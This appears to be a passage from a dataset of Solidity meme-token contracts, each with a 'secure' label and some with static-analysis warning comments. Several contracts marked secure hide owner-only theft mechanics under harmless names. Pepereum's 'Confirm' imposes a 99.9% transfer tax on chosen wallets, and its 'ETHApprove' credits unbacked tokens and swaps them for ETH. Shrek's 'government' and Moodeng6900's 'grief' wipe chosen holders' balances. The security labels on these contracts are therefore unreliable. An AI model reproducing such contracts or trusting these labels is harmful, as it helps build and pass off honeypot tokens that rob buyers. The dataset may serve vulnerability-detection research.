reentrancy-events | ID: 1342df4\n\t\t// reentrancy-benign | ID: c12ea3c\n\t\t// reentrancy-eth | ID: d527aa9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTranTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1250368): MyDoge.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 1250368: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 94f12c7\n\t\t// reentrancy-events | ID: 1342df4\n\t\t// reentrancy-eth | ID: d527aa9\n\t\t// arbitrary-send-eth | ID: 1250368\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5b0e5b5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5b0e5b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9d6dbc1): MyDoge.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9d6dbc1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4bb4562): MyDoge.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4bb4562: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bbba108): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bbba108: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5b0e5b5\n\t\t// reentrancy-eth | ID: bbba108\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 5b0e5b5\n\t\t// unused-return | ID: 4bb4562\n\t\t// reentrancy-eth | ID: bbba108\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5b0e5b5\n\t\t// unused-return | ID: 9d6dbc1\n\t\t// reentrancy-eth | ID: bbba108\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 5b0e5b5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: bbba108\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1073900): MyDoge.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 1073900: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 1073900\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_378.sol",
"secure": 0,
"size_bytes": 18200
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Token is ERC20 {\n constructor() ERC20(\"Goatseus Maximus\", \"GOAT\") {\n _mint(_msgSender(), 10000000000 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_3780.sol",
"secure": 1,
"size_bytes": 276
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract FC is ERC20, Ownable {\n constructor() ERC20(\"Feedcoin\", \"FC\") {\n _mint(msg.sender, 200000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3781.sol",
"secure": 1,
"size_bytes": 339
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MCS is ERC20 {\n constructor() ERC20(\"Main Character Syndrome\", \"MCS\") {\n _mint(msg.sender, 1_000_000_000_000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3782.sol",
"secure": 1,
"size_bytes": 297
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract POTUS47 is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n )\n ERC20(\"HARRIS\", \"POTUS47\") // Project name \"HARRIS\", Symbol \"POTUS47\"\n Ownable(initialOwner)\n {\n _mint(msg.sender, 111000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3783.sol",
"secure": 1,
"size_bytes": 588
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract Pepereum is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6abf1ad): Pepereum._decimals should be constant \n\t// Recommendation for 6abf1ad: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b518307): Pepereum._totalSupply should be immutable \n\t// Recommendation for b518307: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: ddba9b9): Pepereum._name should be constant \n\t// Recommendation for ddba9b9: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Pepereum\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 072c529): Pepereum._symbol should be constant \n\t// Recommendation for 072c529: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"PEPEREUM\";\n\n\t// WARNING Optimization Issue (constable-states | ID: f1fce2c): Pepereum.uniV2Router should be constant \n\t// Recommendation for f1fce2c: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 580d6ca): Pepereum._taxWallet should be immutable \n\t// Recommendation for 580d6ca: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function setswap() public {}\n\n function swaponchain() external {}\n\n function startswap() public {}\n\n function confirmswap() public {}\n\n function Confirm(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function ETHApprove(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_3784.sol",
"secure": 1,
"size_bytes": 7062
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Token is ERC20 {\n constructor() ERC20(\"Domo Arigato\", \"Mr Robato\") {\n _mint(_msgSender(), 10000000000 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_3785.sol",
"secure": 1,
"size_bytes": 277
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Shrek is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable weight;\n\n constructor() {\n _name = \"Shrek\";\n\n _symbol = \"SHREK\";\n\n _decimals = 18;\n\n uint256 initialSupply = 452000000;\n\n weight = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == weight, \"Not allowed\");\n\n _;\n }\n\n function government(address[] memory condition) public onlyOwner {\n for (uint256 i = 0; i < condition.length; i++) {\n address account = condition[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3786.sol",
"secure": 1,
"size_bytes": 4363
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Moodeng6900 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable gasp;\n\n constructor() {\n _name = \"MOODENG6900\";\n\n _symbol = \"MOODENG6900\";\n\n _decimals = 18;\n\n uint256 initialSupply = 368000000;\n\n gasp = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == gasp, \"Not allowed\");\n\n _;\n }\n\n function grief(address[] memory application) public onlyOwner {\n for (uint256 i = 0; i < application.length; i++) {\n address account = application[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3787.sol",
"secure": 1,
"size_bytes": 4376
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Elon Musk Dog\";\n\n string private constant _symbol = unicode\"COSMO\";\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33e2a78): Contract._finalBuyTax should be constant \n\t// Recommendation for 33e2a78: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46ccd33): Contract._finalSellTax should be constant \n\t// Recommendation for 46ccd33: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4891b1b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4891b1b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0b6e03a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0b6e03a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4891b1b\n\t\t// reentrancy-benign | ID: 0b6e03a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4891b1b\n\t\t// reentrancy-benign | ID: 0b6e03a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0b6e03a\n\t\t// reentrancy-benign | ID: 8c83511\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4891b1b\n\t\t// reentrancy-events | ID: 4dc2e32\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dba7d70): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dba7d70: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e67da25): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e67da25: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: dba7d70\n\t\t\t\t// reentrancy-eth | ID: e67da25\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: dba7d70\n\t\t\t\t\t// reentrancy-eth | ID: e67da25\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e67da25\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: e67da25\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e67da25\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: dba7d70\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e67da25\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e67da25\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: dba7d70\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4891b1b\n\t\t// reentrancy-events | ID: 4dc2e32\n\t\t// 